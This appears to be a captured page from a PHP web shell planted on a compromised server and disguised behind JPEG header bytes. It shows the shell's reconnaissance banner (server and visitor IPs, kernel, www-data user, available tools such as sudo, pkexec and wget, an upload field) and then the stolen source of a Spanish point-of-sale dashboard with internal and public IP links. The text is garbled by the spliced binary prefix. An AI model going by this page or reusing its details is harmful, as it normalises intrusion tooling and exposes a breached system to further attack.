����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.191.154.2 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/app6/application/main/ |
Upload File : |
<?php include "../../library/config.php"; ?> <?php $titlepage="Inicio"; ?> <?php require_once("../model/dbconn.php"); require_once("../model/pos.php"); include "../layout/top-header.php"; include "../../library/check_login.php"; include "../layout/header.php"; ?> <section style="margin-bottom:30px;" class="content-header"> <h1> Modulo de Ventas <small>4.2</small> </h1> </section> <section class="content-main"> <div class="row"> <div class="col-xs-12"> <div class="box box-solid box-primary"> <?php $pos = new pos(); $toko = $pos->getrefsytem(); $nameshop = $toko[1]['val']; $toko2 = $pos->getrefsytem2(); $address_shop = $toko2[1]['val']; $toko3 = $pos->getrefsytem3(); $phoneshop = $toko3[1]['val']; function display_to_sql($date){ return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2); } // obtener productos fuera de stock $id_item=5; $pos1 = new pos(); $data1 = $pos1->getItem2($id_item); $count = $data1[1]['contador']; $count1= $count; //echo json_encode( $item[1]["stock"]); //ventas del dia $pos = new pos(); $first = display_to_sql(date("d-m-Y")); $last = display_to_sql(date("d-m-Y")); $array = $pos->getTransSale($first,$last); $ventas=0; if($array[0] == true) { $i=1; foreach ($array[1] as $key) { $ventas = $ventas + $key['total']; $i++; } } //devoluciones del dia $posd = new pos(); $first = display_to_sql(date("d-m-Y")); $last = display_to_sql(date("d-m-Y")); $arrayd = $posd->getTransSaleDev($first,$last); $ventasd=0; if($arrayd[0] == true) { $i=1; foreach ($arrayd[1] as $key) { $ventasd = $ventasd + $key['total']; $i++; } } ?> <div class="box-header"> <h1 class="box-title">Sucursal: <?php echo $nameshop;?></h1> </div> <!-- end of box-header --> <div class="box-body"> <h4>Direccion: <?php echo $address_shop;?></h4> <h5>Telefono : <?php echo $phoneshop;?></h5> </div> <!-- end of box-body --> </div><!-- end of box box-solid bg-light-blue-gradiaent --> </div> </div><!-- row --> <div class="row"> <div class="col-md-3"> <div class="small-box bg-green"> <div class="inner"> <input type="hidden" class="form-control " id="txtidsales" value="J160412###" disabled> <h3>$ <?php echo number_format($ventas,2);?></h3> <p>Ventas del Dia</p> </div> <div class="icon"> <i class="fa fa-bars"></i> </div> <a href="http://192.168.0.4/pos36/application/sales/v_pos.php" id="lapjuals" class="small-box-footer"> Administracion local <i class="fa fa-arrow-circle-right"></i></a> </div><!-- end of small-box-green --> </div> <div class="col-md-3"> <div class="small-box bg-red"> <div class="inner"> <h3>$ <?php echo number_format($ventasd,2);?></h3> <p> Devoluciones Del Dia</p> </div> <div class="icon"> <i class="ion ion-add-circle"></i> </div> <a href="<?php echo $sitename;?>pos11" target="_blank" class="small-box-footer">Ver Detalles <i class="fa fa-arrow-circle-right"></i></a> </div><!-- end of col md 4 --> </div> <div class="col-md-3"> <div class="small-box bg-yellow"> <div class="inner"> <h3>0</h3> <p>Clientes</p> </div> <div class="icon"> <i class="ion ion-bag"></i> </div> <a href="http://18.217.242.216/pos36/pos11" target="_blank" class="small-box-footer">administracion Online <i class="fa fa-arrow-circle-right"></i></a> </div><!-- end of col md 4 --> </div><!-- end of row --> <div class="col-md-3"> <div class="small-box bg-aqua"> <div class="inner"> <h3><?php echo $count1;?></h3> <p> Stock Menor a 5 pz</p> </div> <div class="icon"> <i class="ion ion-bag"></i> </div> <a href="http://18.217.242.216/tienda/" target="_blank" class="small-box-footer">Tienda en linea <i class="fa fa-arrow-circle-right"></i></a> </div><!-- end of col md 4 --> </div> <div class="col-xs-12"> <div class="box box-info"> <div class="box box-info"> <div class="box-header"> <h3 class="box-title">Buscar Productos</h3> </div> <!-- end of box-header --> <div class="row"> <div class=" col-xs-12" style="padding-left:25px;padding-right:25px"> <input type="text" class="form-control " id="txtsearchitem" value="BATIDOR DE PLASTICO NO. 00" placeholder="Buscar Productos Por nombre..."> </div> </div> <div class="box-body"> <div class="box-body table-responsive no-padding" style="max-width:900px;"> <table id="table_search" class="table table-bordered table-hover table-striped"> <thead> <tr class="tableheader"> <th style="width:40px">#</th> <th style="width:60px">Id</th> <th style="width:300px">Nombre</th> <th style="width:100px">Precio</th> <th style="width:120px">Exitencia</th> </tr> </thead> <tbody></tbody> </table> </div> </div> <!-- end of box-body --> </div> </div><!-- end of div box info --> </div><!-- end of col-md-8 --> </div> </section> <?php include "../layout/footer.php"; //footer template ?> <?php include "../layout/bottom-footer.php"; //footer template ?> <script src="../../dist/js/redirect.js"></script> <script> $(document).on("keyup keydown","#txtsearchitem",function(){ var searchitem = $("#txtsearchitem").val(); value={ term : searchitem, } $.ajax( { url : "../master/c_search_item.php", type: "POST", data : value, success: function(data, textStatus, jqXHR) { var data = jQuery.parseJSON(data); $("#table_search tbody").html(data.data) }, error: function(jqXHR, textStatus, errorThrown) { } }); }); </script> </body> </html>